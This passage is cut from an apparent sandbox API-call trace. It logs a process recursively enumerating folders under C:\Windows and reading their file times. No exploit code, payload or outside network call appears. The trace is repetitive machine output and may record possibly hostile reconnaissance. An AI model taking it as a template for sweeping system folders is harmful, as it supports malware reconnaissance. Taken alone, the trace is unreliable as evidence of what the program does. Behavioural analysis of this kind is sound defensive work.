[0253.479] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Globalization\\MCT\\MCT-US\\Theme\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x14707080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14707080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.481] AreFileApisANSI () returned 1 [0253.481] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0253.485] AreFileApisANSI () returned 1 [0253.485] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0253.486] AreFileApisANSI () returned 1 [0253.486] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 76 [0253.487] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Globalization\\MCT\\MCT-US\\Wallpaper\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x11ac464d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x1472d1e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1472d1e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.487] AreFileApisANSI () returned 1 [0253.487] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.488] AreFileApisANSI () returned 1 [0253.488] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.489] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.489] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.489] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.489] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.489] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.489] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.489] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.489] CloseHandle (hObject=0x190) returned 1 [0253.490] AreFileApisANSI () returned 1 [0253.490] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.491] AreFileApisANSI () returned 1 [0253.491] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.491] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.491] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.491] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.491] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.491] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.491] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.491] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.492] CloseHandle (hObject=0x190) returned 1 [0253.492] AreFileApisANSI () returned 1 [0253.492] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.492] AreFileApisANSI () returned 1 [0253.492] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.493] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.493] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.493] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.493] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.493] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.493] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.493] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.493] CloseHandle (hObject=0x190) returned 1 [0253.493] AreFileApisANSI () returned 1 [0253.493] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.494] AreFileApisANSI () returned 1 [0253.494] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x524250, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.494] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.494] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.494] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.494] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.494] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.495] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.495] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.495] CloseHandle (hObject=0x190) returned 1 [0253.495] AreFileApisANSI () returned 1 [0253.495] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4aaf90, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 58 [0253.495] AreFileApisANSI () returned 1 [0253.495] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.495] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.495] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.496] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.496] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.496] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.496] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.496] CloseHandle (hObject=0x190) returned 1 [0253.496] AreFileApisANSI () returned 1 [0253.497] AreFileApisANSI () returned 1 [0253.497] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.497] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.497] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.497] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.497] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.497] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.497] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.498] CloseHandle (hObject=0x190) returned 1 [0253.498] AreFileApisANSI () returned 1 [0253.499] GetFileType (hFile=0x178) returned 0x1 [0253.500] AreFileApisANSI () returned 1 [0253.502] AreFileApisANSI () returned 1 [0253.503] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Globalization\\MCT\\MCT-ZA\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d50c61d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x14753340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14753340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0253.504] AreFileApisANSI () returned 1 [0253.504] GetFileType (hFile=0x1ac) returned 0x1 [0253.505] AreFileApisANSI () returned 1 [0253.506] AreFileApisANSI () returned 1 [0253.509] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Globalization\\MCT\\MCT-ZA\\RSSFeed\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d50c61d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x14753340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x14753340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.509] AreFileApisANSI () returned 1 [0253.510] GetFileType (hFile=0x1ac) returned 0x1 [0253.511] AreFileApisANSI () returned 1 [0253.512] AreFileApisANSI () returned 1 [0253.515] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Globalization\\MCT\\MCT-ZA\\Theme\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d50c61d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x147794a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x147794a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.516] AreFileApisANSI () returned 1 [0253.518] AreFileApisANSI () returned 1 [0253.519] AreFileApisANSI () returned 1 [0253.520] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Globalization\\MCT\\MCT-ZA\\Wallpaper\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x1d50c61d, ftCreationTime.dwHighDateTime=0x1cbf8ec, ftLastAccessTime.dwLowDateTime=0x147794a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x147794a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.521] AreFileApisANSI () returned 1 [0253.522] AreFileApisANSI () returned 1 [0253.522] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.522] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.522] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.522] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.522] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.522] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.522] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.522] CloseHandle (hObject=0x190) returned 1 [0253.523] AreFileApisANSI () returned 1 [0253.523] AreFileApisANSI () returned 1 [0253.524] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.524] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.524] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.524] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.524] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.524] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.524] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.524] CloseHandle (hObject=0x190) returned 1 [0253.525] AreFileApisANSI () returned 1 [0253.525] AreFileApisANSI () returned 1 [0253.525] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.525] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.525] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.525] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.525] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.525] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.525] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.525] CloseHandle (hObject=0x190) returned 1 [0253.527] AreFileApisANSI () returned 1 [0253.527] AreFileApisANSI () returned 1 [0253.527] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.527] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.527] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.527] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.527] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.527] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.527] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.527] CloseHandle (hObject=0x190) returned 1 [0253.528] AreFileApisANSI () returned 1 [0253.528] AreFileApisANSI () returned 1 [0253.528] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.528] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.528] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.528] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.528] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.528] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.528] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.529] CloseHandle (hObject=0x190) returned 1 [0253.529] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0x4aa92c | out: lpFileInformation=0x4aa92c) returned 1 [0253.531] FileTimeToSystemTime (in: lpFileTime=0x4aa900, lpSystemTime=0x4aa8d4 | out: lpSystemTime=0x4aa8d4) returned 1 [0253.531] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8d4, lpLocalTime=0x4aa8e4 | out: lpLocalTime=0x4aa8e4) returned 1 [0253.531] FileTimeToSystemTime (in: lpFileTime=0x4aa8f0, lpSystemTime=0x4aa8c4 | out: lpSystemTime=0x4aa8c4) returned 1 [0253.531] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8c4, lpLocalTime=0x4aa8d4 | out: lpLocalTime=0x4aa8d4) returned 1 [0253.531] FileTimeToSystemTime (in: lpFileTime=0x4aa8e0, lpSystemTime=0x4aa8b4 | out: lpSystemTime=0x4aa8b4) returned 1 [0253.531] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4aa8b4, lpLocalTime=0x4aa8c4 | out: lpLocalTime=0x4aa8c4) returned 1 [0253.531] CloseHandle (hObject=0x190) returned 1 [0253.537] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Globalization\\Sorting\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe3ad5e0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1479f600, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x1479f600, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.543] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Help\\*", lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe3f9894, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x147c5760, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x147c5760, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549790 [0253.544] GetFileType (hFile=0x1f0) returned 0x1 [0253.550] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Help\\Corporate\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe41f9ee, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x147c5760, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x147c5760, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.551] GetFileType (hFile=0x1f0) returned 0x1 [0253.555] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Help\\Help\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x147c5760, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x147c5760, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.560] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Help\\Help\\en-US\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x147eb8c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x147eb8c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549810 [0253.561] GetFileInformationByHandle (in: hFile=0x1ac, lpFileInformation=0x4ab2d4 | out: lpFileInformation=0x4ab2d4) returned 1 [0253.561] FileTimeToSystemTime (in: lpFileTime=0x4ab2a8, lpSystemTime=0x4ab27c | out: lpSystemTime=0x4ab27c) returned 1 [0253.561] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab27c, lpLocalTime=0x4ab28c | out: lpLocalTime=0x4ab28c) returned 1 [0253.561] FileTimeToSystemTime (in: lpFileTime=0x4ab298, lpSystemTime=0x4ab26c | out: lpSystemTime=0x4ab26c) returned 1 [0253.561] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab26c, lpLocalTime=0x4ab27c | out: lpLocalTime=0x4ab27c) returned 1 [0253.561] FileTimeToSystemTime (in: lpFileTime=0x4ab288, lpSystemTime=0x4ab25c | out: lpSystemTime=0x4ab25c) returned 1 [0253.561] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4ab25c, lpLocalTime=0x4ab26c | out: lpLocalTime=0x4ab26c) returned 1 [0253.562] CloseHandle (hObject=0x1ac) returned 1 [0253.563] GetFileType (hFile=0x1f0) returned 0x1 [0253.568] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Help\\mui\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x368d9333, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x147eb8c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x147eb8c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x5497d0 [0253.574] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Help\\mui\\0409\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x368d9333, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x147eb8c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0x147eb8c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3, cFileName=".", cAlternateFileName="")) returned 0x549710 [0253.599] GetFileType (hFile=0x1f0) returned 0x1 [0253.670] FindFirstFileA (in: lpFileName="C:\\\\Windows\\Help\\OEM\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, 